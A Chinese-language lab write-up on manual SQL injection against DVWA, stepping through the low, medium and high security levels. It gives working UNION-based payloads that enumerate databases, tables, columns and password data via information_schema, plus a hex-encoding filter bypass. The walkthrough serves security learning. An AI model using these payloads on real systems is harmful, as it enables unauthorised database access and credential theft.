还是以dvwa学习手工sql注入
sql注入原理,个人理解意思的就是应用没有把用户输入的数据进行过滤处理,数据被当成sql语句进行执行了。
low级别:
直接查看代码,发现参数$id并没有经过任何处理,所以是一个明显的注入点。在真实环境中是看不到代码的,所以需要一点点的去猜测破解。
首先输入1,显示出了数据,
输入1 ',提示有错误,
接着输入1’or ‘1 ’=’1,可以查询到多条数据,说明是字符型注入
接下来猜解数据库库名、表名和数据库中的数据:
猜解库名: 输入 1′ union select 1,database() # (union select联合查询#在mysql数据库中表示注释):
成功显示出了库名,dvwa
猜解数据库中的表:1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
information_schema 是mysql自带的数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。
一共存在两个表,guestbook,users
猜解表中的字段名:1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #
users中一共存在八个字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
猜解表中的数据:1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
Medium级别:
这个级别使用了mysql_real_escape_string函数对上面的字符进行了转义,并且设置下拉框提交表单,但跟xss攻击一样,都可以使用burpsuite等抓包工具修改参数
抓包更改输入的参数
修改请求为1′ or 1=1 #,出现错误
接着猜解,输入1 or 1=1,返回多条数据
和低级别不同的是,中级别变成了数字型注入。剩下的就是低级别的老套路了,一直抓包修改请求就可以了。
有一点需要注意的就是,因为mysql_real_escape_string函数对单引号进行转义了,所以猜解表中的字段时候就无法使用'user'了。
可以利用16进制进行绕过,抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
(如果未成功 x可可能变成了口)
HIGH级别:
查看代码发现代码中使用了LIMIT1参数
因为在mysql中#表示注释,所以可以将limit1注释掉,接下来还是low级别的老套路,
impossible级别:
查看帮助文档;
impossible级别将代码和数据完全分离出来。